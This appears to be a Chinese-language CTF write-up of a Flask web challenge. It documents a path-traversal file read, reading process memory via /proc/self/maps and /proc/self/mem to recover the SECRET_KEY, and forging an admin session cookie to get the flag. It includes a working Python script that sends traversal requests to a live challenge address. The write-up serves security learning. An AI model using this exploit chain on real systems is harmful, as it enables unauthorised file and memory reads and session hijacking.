前言
..................
开干
正文
信息收集
有意思
估计是权限不够导致无法访问
我们点击几只小猫看看有什么东西
好的,?File=
试试看是否存在任意文件读取
思路
成功,接下来我们尝试获取历史记录
这里补充一下知识点
/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据
/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数
/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容
/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址
我们尝试访问app.py
那就能够确定该站是用flask框架搭建的站点
格式化一下
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)
着重于关键处
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"
第一段我们确定了flag,第二段我们知道了/admin确实有做限制,只有当session获取admin=1时才能获取flag
又因为flask存在session可以被伪造的问题,所以我们接下来要做的就是伪造session从而获取flag
讲一讲这方面的知识点
这位师傅的文章讲的挺详细的
Flask之session伪造_flask session伪造-CSDN博客
总之,伪造session最重要的前提是需要得到secret_key,我们可以从app.py中了解到secret_key的格式
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
然后我们还能够发现这个网页存在任意文件读取的原理
@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/') # 使用os.listdir()获取'details/'目录下的所有文件名
cats_list = []
for i in detailtxt:# 遍历所有文件名
cats_list.append(i[:i.index('.')])# 截取文件名直到遇到第一个'.'(即去除扩展名),并添加到cats_list中
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")# 获取URL查询参数'file'的值,并拼接成完整文件路径
start = request.args.get('start', "0")# 获取URL查询参数'start'的值,如果没有提供,则默认为"0"
end = request.args.get('end', "0")# 同上,获取'end'参数的值
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 提取文件名(不包括扩展名)
return render_template("detail.html", catname=name, info=cat(filename, start, end))
好的,不难发现,这里request有三个参数:start,end,file 还有调用cat方法
cat则是cat.py的东西
import os, sys, getopt
def cat(filename, start=0, end=0) -> bytes:
data = b''
try:
start = int(start)
end = int(end)
except:
start = 0
end = 0
if filename != "" and os.access(filename, os.R_OK):
f = open(filename, "rb")
if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
f.close()
else:
data = ("File `%s` not exist or can not be read" % filename).encode()
return data
if __name__ == '__main__':
opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
fileName = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name == '-h' or opt_name == '--help':
print("[*] Help")
print("-f --file File name")
print("-s --start Start position")
print("-e --end End position")
print("[*] Example of reading /etc/passwd")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
exit()
elif opt_name == '-f' or opt_name == '--file':
fileName = opt_value
elif opt_name == '-s' or opt_name == '--start':
start = opt_value
elif opt_name == '-e' or opt_name == '--end':
end = opt_value
if fileName != "":
print(cat(fileName, start, end))
else:
print("No file to read")
这个脚本主要功能就是文件读取,比如有一个1.txt,里面的内容有:12345678
使用python cay.py -f /路径/1.txt -s 1 -e 5,就会得到12345
不过这些并不能帮助我们找到secretkey,只是提供了可以利用的地方
对这方面熟悉的师傅们都知道,SECRET_KEY 并不存储在 session 数据中,而是存储在服务器的内存中,作为 Flask 应用配置的一部分。这意味着,只要应用正在运行,SECRET_KEY 就会在内存中可用
但是我们直接访问/proc/self/mem是不可能的,所以我们直接访问/proc/self/maps获取可读内容的内存映射
好的,接下来把内容格式化存储一下
然后写个脚本获取堆栈分布
import re
maps = open('/路径/proc.txt')
for line in maps:
a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)#本来用的findall,但是后面的start和end定义太麻烦了
if a:
start = int(a.group(1), 16)
end = int(a.group(2), 16)
print(f'addr:{start}-{end}')
接下来就可以直接读取mem对应位置的数据了
因为app.py定义了start和end,所以我们完全可以利用这一点
import requests
import re
maps = open('/路径/proc.txt')
for line in maps:
a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)
if a:
start = int(a.group(1), 16)
end = int(a.group(2), 16)
print(f'addr:{start}-{end}')
url = f"http://61.147.171.105:52267/info?file=../../../../proc/self/mem&start={start}&end={end}"
b = requests.get(url)
re1 = re.findall("[a-z0-9]{32}\*abcdefgh", b.text)#这里根据app.py中得出
if re1:
print(re1)
secret_key得到,接下来利用工具进行伪造
这里推荐
https://github.com/noraj/flask-session-cookie-manager/releases/tag/v1.2.1.1
我们先抓包随便拿一个session,然后放里面解密
然后使{'admin':1}
然后
成功
结尾
不难,但是很麻烦
求赞求关注,感谢
MQ4的其他文章:
BugKu-WEB-unserialize-Noteasy-CSDN博客
攻防世界-WEB-filemanager-CSDN博客
BugKu-new_php_bugku newphp-CSDN博客